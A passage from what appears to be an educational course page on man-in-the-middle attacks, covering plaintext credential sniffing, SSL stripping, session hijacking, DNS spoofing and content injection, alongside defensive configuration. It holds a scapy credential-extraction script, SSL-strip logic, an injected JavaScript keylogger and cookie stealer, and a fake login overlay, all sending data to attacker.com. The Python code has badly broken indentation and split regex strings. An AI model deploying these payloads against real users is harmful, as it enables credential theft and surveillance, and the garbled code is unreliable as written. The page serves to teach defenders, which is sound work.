IMAP	143	Emails, folder structure, credentials	Full mailbox visibility
DNS	53	All domain queries and responses	Browsing history, infrastructure mapping
SNMP v1/v2	161	Community strings, device data	Network enumeration, device access
LDAP	389	Directory queries, sometimes creds	User enumeration, auth bypass
MySQL	3306	Queries, potentially credentials	Database access, data exfiltration

Automated Credential Extraction:

Modern MITM frameworks automatically parse captured traffic for credentials:

credential_extraction_concept.py
Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
#!/usr/bin / env python3
"""
Credential Extraction from MITM Traffic - Conceptual Example
WARNING: For educational and authorized testing only.
 
This demonstrates how attackers automatically extract credentials
from captured network traffic.Understanding this helps defenders
prioritize encryption and monitoring.
"""
 
from scapy.all import sniff, TCP, Raw
import re
from typing import Optional, Dict, List
from dataclasses import dataclass
from datetime import datetime
 
@dataclass
                            class CapturedCredential:
                        """Represents extracted credential data."""
    timestamp: str
    protocol: str
    source_ip: str
    dest_ip: str
    dest_port: int
    username: Optional[str]
    password: Optional[str]
    additional_data: Dict
 
class CredentialExtractor:
                        """
    Extracts credentials from common protocols.
    
    In real attacks, tools like Ettercap, Bettercap, and
    mitmproxy handle this automatically with extensive
    protocol support.
    """
    
    def __init__(self):
                        self.credentials: List[CapturedCredential] = []
        
        # Protocol - specific extractors
        self.extractors = {
                        21: self.extract_ftp,
                        23: self.extract_telnet,
                        25: self.extract_smtp,
                        80: self.extract_http,
                        110: self.extract_pop3,
                        143: self.extract_imap,
                    }
    
    def process_packet(self, packet):
                        """Process a captured packet for credentials."""
        if not packet.haslayer(TCP) or not packet.haslayer(Raw):
                    return
        
        tcp = packet[TCP]
        payload = packet[Raw].load.decode('utf-8', errors = 'ignore')
        
        # Check destination port for known protocols
        if tcp.dport in self.extractors:
                    self.extractors[tcp.dport](packet, payload)
        
        # Also check source port(for server responses)
    if tcp.sport in self.extractors:
        self.extractors[tcp.sport](packet, payload)
    
    def extract_http(self, packet, payload: str):
    """
        Extract credentials from HTTP traffic.
 
        Targets:
    - Basic Authentication headers
        - Form POST data
            - Cookies containing session tokens
    """
        # Basic Authentication
    auth_match = re.search(
        r'Authorization: Basic ([A-Za-z0-9+/=]+)',
        payload
    )
    if auth_match:
        import base64
            try:
    decoded = base64.b64decode(auth_match.group(1)).decode()
    if ':' in decoded:
        user, passwd = decoded.split(':', 1)
    self._add_credential(
        packet, 'HTTP-Basic', user, passwd, {}
    )
    except:
    pass
        
        # POST form data
    if 'POST' in payload:
            # Look for common credential field names
    patterns = [
        r'(?:user|login|email|username)[=:]([^&\s]+)',
        r'(?:pass|password|passwd|pwd)[=:]([^&\s]+)',
    ]
 
    user = None
    passwd = None
 
    for pattern in patterns:
        match = re.search(pattern, payload, re.I)
    if match:
        value = match.group(1)
    if 'user' in pattern or 'email' in pattern:
    user = value
                    else:
    passwd = value
 
    if user or passwd:
    self._add_credential(
        packet, 'HTTP-POST', user, passwd,
        { 'url': self._extract_url(payload) }
    )
        
        # Session cookies
    cookie_match = re.search(r'Cookie: (.+?)(?:\r
|$)', payload)
    if cookie_match:
        cookies = cookie_match.group(1)
            # Look for session identifiers
            session_patterns = [
            r'(?:session|sid|PHPSESSID|JSESSIONID)[=]([^;]+)',
        ]
            for pattern in session_patterns:
            match = re.search(pattern, cookies, re.I)
    if match:
        self._add_credential(
            packet, 'HTTP-Session', None, None,
            { 'session_token': match.group(1) }
        )
    
    def extract_ftp(self, packet, payload: str):
    """
        Extract FTP credentials.
        FTP sends USER and PASS in plaintext.
        """
    user_match = re.search(r'USER (.+?)\r
', payload)
    pass_match = re.search(r'PASS (.+?)\r
', payload)
 
    if user_match:
        self._add_credential(
            packet, 'FTP', user_match.group(1), None, {}
        )
 
    if pass_match:
            # Find corresponding user from recent captures
    self._add_credential(
        packet, 'FTP', None, pass_match.group(1), {}
    )
    
    def extract_smtp(self, packet, payload: str):
    """
        Extract SMTP credentials.
        AUTH PLAIN sends base64 - encoded credentials.
        """
    if 'AUTH PLAIN' in payload:
        match = re.search(r'AUTH PLAIN ([A-Za-z0-9+/=]+)', payload)
    if match:
        try:
    import base64
                    decoded = base64.b64decode(match.group(1)).decode()
                    # Format: \x00username\x00password
    parts = decoded.split('\x00')
    if len(parts) >= 3:
        self._add_credential(
            packet, 'SMTP', parts[1], parts[2], {}
        )
    except:
    pass
    
    def extract_pop3(self, packet, payload: str):
    """Extract POP3 credentials (USER/PASS commands)."""
    user_match = re.search(r'USER (.+?)\r
', payload)
    pass_match = re.search(r'PASS (.+?)\r
', payload)
 
    if user_match:
        self._add_credential(
            packet, 'POP3', user_match.group(1), None, {}
        )
    if pass_match:
        self._add_credential(
            packet, 'POP3', None, pass_match.group(1), {}
        )
    
    def extract_imap(self, packet, payload: str):
    """Extract IMAP credentials."""
        # LOGIN command: tag LOGIN user password
    login_match = re.search(
        r'LOGIN "?([^"\s]+)"? "?([^"\s]+)"?',
        payload
    )
    if login_match:
        self._add_credential(
            packet, 'IMAP',
            login_match.group(1),
            login_match.group(2),
            {}
        )
    
    def extract_telnet(self, packet, payload: str):
    """
        Extract Telnet credentials.
        Challenging because input is character - by - character.
        Real tools buffer and reconstruct.
        """
        # Simplified: look for login prompts and responses
    if 'login:' in payload.lower() or 'password:' in payload.lower():
    self._add_credential(
        packet, 'Telnet', None, None,
        { 'hint': 'Telnet session detected - manual analysis needed' }
    )
    
    def _add_credential(self, packet, protocol: str,
        user: Optional[str], passwd: Optional[str],
        additional: Dict):
    """Store extracted credential."""
    cred = CapturedCredential(
        timestamp = datetime.now().isoformat(),
        protocol = protocol,
        source_ip = packet.sprintf("%IP.src%"),
        dest_ip = packet.sprintf("%IP.dst%"),
        dest_port = packet[TCP].dport,
        username = user,
        password = passwd,
        additional_data = additional
    )
    self.credentials.append(cred)
    print(f"[CAPTURED] {protocol}: {user}:{passwd} -> {cred.dest_ip}")
    
    def _extract_url(self, payload: str) -> Optional[str]:
    """Extract URL from HTTP request."""
    match = re.search(r'(?:GET|POST) ([^\s]+)', payload)
    return match.group(1) if match else None
 
# Real - world note:
# Professional tools like Ettercap filter for dozens of protocols
# including IMAP, Rlogin, NNTP, IRC, SOCKS, and database protocols.
# They also handle SSL stripping, which we cover next.

The Plaintext Protocol Problem

SSL Stripping and Downgrade Attacks

The SSL Stripping Concept:

SSL stripping exploits the transition from HTTP to HTTPS:

User types bank.com in browser (no protocol specified)
Browser first tries http://bank.com
Server responds with redirect to https://bank.com
Browser follows redirect and establishes encrypted session

Converting Mermaid diagram...

How SSL Stripping Works:

Phase 1: Intercept the Redirect

User connects to HTTP site
Attacker intercepts the HTTPS redirect
Attacker returns HTTP content instead

Phase 2: Dual-Protocol Bridge

Attacker maintains HTTP connection to victim
Attacker maintains HTTPS connection to real server
Attacker translates between protocols

Phase 3: Content Modification

Replace all https:// links with http://
Remove Strict-Transport-Security headers
Modify form actions to use HTTP
Victim never sees encryption indicators

Phase 4: Credential Capture

Login forms submit via HTTP to attacker
Attacker forwards to server via HTTPS
Server accepts valid credentials
User sees successful login
Attacker has captured credentials

ssl_strip_concept
Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
"""
SSL Stripping Conceptual Flow
 
The core technique of SSL stripping is intercepting HTTPS redirects
and converting them to HTTP, then proxying the connection.
 
Key transformations:
1. 301/302 redirects to HTTPS → 200 OK with HTTP content
2. https:// links in HTML → http://
3. Secure cookies → Non-secure cookies
4. HSTS headers → Stripped/Removed
"""
 
# Conceptual SSLStrip response transformation
 
def strip_ssl_response(response):
    """
    Transform HTTPS response to HTTP for victim.
    This is the core of SSL stripping.
    """
    
    # 1. Handle HTTPS redirects
    if response.status_code in (301, 302):
        location = response.headers.get('Location', '')
        if location.startswith('https://'):
            # Don't redirect victim - fetch content ourselves
            # and serve via HTTP
            https_content = fetch_via_https(location)
            return transform_to_http(https_content)
    
    # 2. Modify HTML content
    html = response.text
    
    # Replace HTTPS links with HTTP
    html = html.replace('https://', 'http://')
    
    # Convert secure form actions
    html = re.sub(
        r'action="https://([^"]+)"',
        r'action="http://\1"',
        html
    )
    
    # 3. Strip security headers
    headers_to_remove = [
        'Strict-Transport-Security',  # HSTS
        'Content-Security-Policy',     # CSP upgrade-insecure-requests
        'X-Content-Type-Options',
    ]
    
    for header in headers_to_remove:
        response.headers.pop(header, None)
    
    # 4. Modify Set-Cookie headers
    # Remove 'Secure' flag so cookies work over HTTP
    cookies = response.headers.get('Set-Cookie', '')
    cookies = cookies.replace('; Secure', '')
    cookies = cookies.replace(';Secure', '')
    
    return modified_response
 
# Visual URL indicators attackers must obscure:
# 
# HTTPS:  🔒 https://bank.com/login
#              ↓ (stripped)
# HTTP:   ⚠️  http://bank.com/login
#
# Attackers use various tricks:
# - Hope user doesn't check address bar
# - Use similar-looking punycode domains
# - SSL strip during non-login pages initially

Defenses Against SSL Stripping:

Several technologies mitigate SSL stripping attacks:

SSL Stripping Countermeasures
Defense	How It Works	Effectiveness	Limitations
HSTS (HTTP Strict Transport Security)	Browser remembers site requires HTTPS	High (after first visit)	First visit still vulnerable; requires preload for full protection
HSTS Preload	Browser ships with list of HTTPS-only sites	Very High	Requires domain registration; not all browsers support
HTTPS Everywhere	Browser extension enforces HTTPS	Medium	User must install; ruleset may be incomplete
Certificate Pinning	App/browser only accepts specific cert	Very High	Complex to manage; breaks if cert changes
Visual Indicators	Users check for lock icon	Low	Users don't consistently check; can be spoofed in some browsers

HSTS Preload is Critical

Session Hijacking

Understanding Session Tokens:

Modern web applications use session tokens to maintain state:

User authenticates with username/password
Server creates session, issues token (usually a cookie)
Browser attaches token to subsequent requests
Server validates token, grants access

The hijacking opportunity: If an attacker captures the session token, they can impersonate the user without ever knowing the password.

Session Hijacking Vectors

•Cookie capture on HTTP — Session cookies transmitted in cleartext
•Mixed content attacks — HTTPS page loads HTTP resources with cookies
•XSS to exfiltrate — JavaScript steals document.cookie
•Session fixation — Attacker forces known session ID
•Sidejacking — Capture on unencrypted WiFi

Session Protection Mechanisms

•Secure flag — Cookie only sent over HTTPS
•HttpOnly flag — Cookie inaccessible to JavaScript
•SameSite flag — Prevents cross-site cookie sending
•Session binding — Tie session to IP/user-agent
•Short expiration — Limit window of vulnerability

MITM Session Hijacking Attack Flow:

Converting Mermaid diagram...

Real-World Session Hijacking: Firesheep

Firesheep's impact:

Sessions were captured automatically
One-click impersonation
Worked on any open WiFi network
Led to widespread HTTPS adoption

Legacy: Firesheep embarrassed major platforms into deploying full-site HTTPS and proper cookie security flags. However, many smaller applications remain vulnerable.

session_hijack_defense.py
Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
"""
Session Security Best Practices - Defense Reference
 
These configurations protect against MITM session hijacking.
"""
 
# Flask example with secure session configuration
from flask import Flask, session, request
import secrets
 
app = Flask(__name__)
 
# Strong secret key for session signing
app.secret_key = secrets.token_hex(32)
 
# Session cookie configuration
app.config.update(
    # Only send cookie over HTTPS
    SESSION_COOKIE_SECURE=True,
    
    # Prevent JavaScript access (stops XSS theft)
    SESSION_COOKIE_HTTPONLY=True,
    
    # Only send to same site (stops CSRF)
    SESSION_COOKIE_SAMESITE='Lax',
    
    # Reasonable expiration (30 minutes)
    PERMANENT_SESSION_LIFETIME=1800,
    
    # Use server-side sessions for sensitive data
    SESSION_TYPE='filesystem',  # or 'redis'
)
 
# Additional session binding (defense in depth)
@app.before_request
def validate_session():
    """
    Bind session to client characteristics.
    Hijacked sessions from different clients will fail.
    """
    if 'user_id' in session:
        # Validate session binding
        stored_ip = session.get('bound_ip')
        stored_ua = session.get('bound_user_agent')
        
        current_ip = request.remote_addr
        current_ua = request.headers.get('User-Agent', '')
        
        # Strict: reject if anything changes
        # Note: This may cause issues with mobile users
        if stored_ip and stored_ip != current_ip:
            session.clear()
            return "Session invalidated: IP changed", 401
        
        if stored_ua and stored_ua != current_ua:
            session.clear()
            return "Session invalidated: UA changed", 401
 
@app.route('/login', methods=['POST'])
def login():
    """Bind session to client on login."""
    # ... authentication logic ...
    
    # Regenerate session ID after login (prevents fixation)
    session.clear()
    session['user_id'] = user.id
    
    # Bind to client characteristics
    session['bound_ip'] = request.remote_addr
    session['bound_user_agent'] = request.headers.get('User-Agent', '')
    session['login_time'] = datetime.utcnow().isoformat()
    
    return redirect('/dashboard')
 
# HTTP Strict Transport Security header
@app.after_request
def add_security_headers(response):
    """Add security headers to all responses."""
    # Enforce HTTPS for 1 year, including subdomains
    response.headers['Strict-Transport-Security'] = \
        'max-age=31536000; includeSubDomains; preload'
    
    # Prevent clickjacking
    response.headers['X-Frame-Options'] = 'DENY'
    
    # Prevent MIME sniffing
    response.headers['X-Content-Type-Options'] = 'nosniff'
    
    return response

Defense Requires Multiple Layers

DNS Spoofing via MITM

Once positioned as a Man-in-the-Middle, attackers can manipulate DNS queries and responses to redirect victims to malicious servers. This is DNS spoofing or DNS hijacking.

Why DNS Spoofing is Powerful:

DNS is the internet's directory service. Controlling DNS means controlling where users go when they type a domain name. A MITM attacker can:

Redirect bank.com to a phishing page
Redirect software update servers to malware distribution
Redirect email servers to intercept communications
Redirect any domain to any IP address

DNS Spoofing Mechanics:

Converting Mermaid diagram...

DNS Spoofing Techniques:

1. Query Interception and Response Fabrication

Intercept DNS query from victim
Generate fake response with attacker-controlled IP
Forward victim to malicious server
Optional: forward to real DNS for logging/comparison

2. Response Modification

Let query reach real DNS server
Intercept legitimate response
Modify IP address in response
Forward modified response to victim

3. Selective Spoofing

Only spoof specific domains (banks, email, etc.)
Let other queries pass normally
Reduces detection and victim suspicion

Implementation Challenges for Attackers:

DNS Spoofing Challenges and Solutions
Challenge	Attacker's Solution	Defender's Opportunity
Certificate warnings for HTTPS sites	Use phishing domain with valid cert; SSL strip	Users trained to verify domain names
DNS caching at victim	Spoof before cache expires; wait for TTL	Long TTLs reduce attack window
DNSSEC validation	Hope victim doesn't use validating resolver	Deploy DNSSEC on critical domains
DoH/DoT encrypted DNS	Attack before DoH established; be the DoH server	Use DoH with pinned resolvers
Browser security warnings	Automate certificate generation	HSTS preload for critical sites

DNS over HTTPS (DoH) Changes the Game

dns_spoof_defense
Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# ================================================
# DNS Spoofing Defense Configuration
# ================================================
 
# Enable DNS over HTTPS (DoH) in browsers:
# Firefox: Settings → Network Settings → Enable DNS over HTTPS
# Chrome: Settings → Privacy → Use secure DNS
# Edge: Settings → Privacy → Use secure DNS
 
# Configure system-wide DoH (Linux with systemd-resolved)
cat >> /etc/systemd/resolved.conf << 'EOF'
[Resolve]
DNS=1.1.1.1#cloudflare-dns.com 8.8.8.8#dns.google
DNSOverTLS=yes
EOF
 
systemctl restart systemd-resolved
 
# Verify DNS is encrypted
# Install: sudo apt install knot-dnsutils
kdig @1.1.1.1 +tls example.com
 
# ================================================
# DNSSEC Validation
# ================================================
 
# Check if domain uses DNSSEC
dig example.com +dnssec
 
# Look for RRSIG records in response
# Validating resolvers will reject spoofed responses
# that don't have valid DNSSEC signatures
 
# ================================================
# Local DNS Cache Protection
# ================================================
 
# View DNS cache (Linux with systemd)
resolvectl statistics
resolvectl query google.com
 
# Clear DNS cache (flush spoofed entries)
resolvectl flush-caches
 
# Windows: Clear DNS cache
ipconfig /flushdns

Active Content Modification

The most sophisticated MITM attacks don't just observe traffic—they actively modify it. Content modification enables attacks far beyond credential theft.

Types of Content Modification:

1. JavaScript Injection

Attackers inject malicious JavaScript into HTML pages:

js_injection_concept
JavaScript
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// Original HTML from server:
// <html><body>Welcome to Example.com</body></html>
 
// Attacker injects before </body>:
<script>
// Keylogger - capture all keystrokes
document.addEventListener('keypress', function(e) {
    new Image().src = 'http://attacker.com/log?key=' + e.key;
});
 
// Form hijacker - intercept form submissions
document.querySelectorAll('form').forEach(form => {
    form.addEventListener('submit', function(e) {
        // Send form data to attacker before real submission
        fetch('http://attacker.com/steal', {
            method: 'POST',
            body: new FormData(this)
        });
        // Form continues to real destination
    });
});
 
// Cookie stealer - exfiltrate all cookies
new Image().src = 'http://attacker.com/cookies?c=' + 
    encodeURIComponent(document.cookie);
 
// Crypto-miner - use victim's CPU
const script = document.createElement('script');
script.src = 'http://attacker.com/miner.js';
document.body.appendChild(script);
</script>
 
// Modified HTML served to victim:
// <html><body>Welcome to Example.com<script>...</script></body></html>
 
// Note: This works even on HTTPS sites if SSL stripping succeeded
// or if internal sites use HTTP.

2. Download Substitution

Attacker replaces legitimate downloads with malicious versions:

User downloads setup.exe from software vendor
MITM intercepts the download
Attacker substitutes trojaned installer
User installs malware thinking it's legitimate software

This attack is extremely effective because:

Users expect to download executables
Trust is based on the website, not the file
Malware is run with user permission

3. Update Mechanism Hijacking

Many applications auto-update via HTTP:

Application checks http://vendor.com/version.xml
MITM responds with "new version available"
Application downloads http://vendor.com/update.exe
MITM serves malware instead
Application auto-runs the "update"

4. Credential Form Injection

Inject fake login forms into legitimate-looking pages:

form_injection_concept.html
HTML
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!-- Injected into any HTTP page -->
<div id="fake-login" style="
    position: fixed;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
    background: white;
    padding: 30px;
    border-radius: 10px;
    box-shadow: 0 10px 50px rgba(0,0,0,0.3);
    z-index: 99999;
">
    <h2>Session Expired</h2>
    <p>Your session has expired. Please log in again.</p>
    
    <form action="http://attacker.com/steal" method="POST">
        <input type="hidden" name="site" value="[current domain]">
        
        <label>Email:</label>
        <input type="email" name="email" required><br>
        
        <label>Password:</label>
        <input type="password" name="password" required><br>
        
        <button type="submit">Log In</button>
    </form>
</div>
 
<!-- 
    This overlay appears on any page.
    Users often enter credentials without checking the URL.
    Attacker collects credentials from multiple sites.
    
    Defense: Never trust unexpected login prompts.
    Always verify you're on the correct domain.
-->

Advanced Modification Techniques

•BeEF Framework Integration — Hook browsers for persistent control, launch further attacks
•Selective Modification — Only modify specific pages to avoid detection
•Integrity Bypass — Remove Subresource Integrity (SRI) attributes that would detect tampering
•CSP Stripping — Remove Content-Security-Policy headers that prevent script injection
•Service Worker Injection — Install persistent malicious service workers
•WebSocket Hijacking — Intercept real-time communications

The HTTP Death Spiral

Summary: MITM Attack Capabilities

Man-in-the-Middle positioning through ARP cache poisoning unlocks devastating attack capabilities. Understanding these techniques is essential for defenders who must prioritize protections.

Attack Capabilities Summary:

Key Takeaways

•MITM enables complete traffic visibility — All data flowing between victim and network passes through attacker, enabling surveillance and modification.
•SSL stripping bypasses encryption — By intercepting HTTPS redirects, attackers can maintain plaintext connections with victims while appearing legitimate.
•Session hijacking enables impersonation — Captured session tokens grant access without credentials, bypassing password-based security.
•DNS spoofing redirects users — Controlling DNS responses means controlling where users go, enabling phishing and malware distribution.
•Content modification enables persistent compromise — Injected JavaScript and modified downloads can establish persistent attacker presence.
•Defenses must be layered — No single protection is sufficient; HSTS, secure cookies, DNSSEC, and network segmentation all play roles.

What's Next:

Page Complete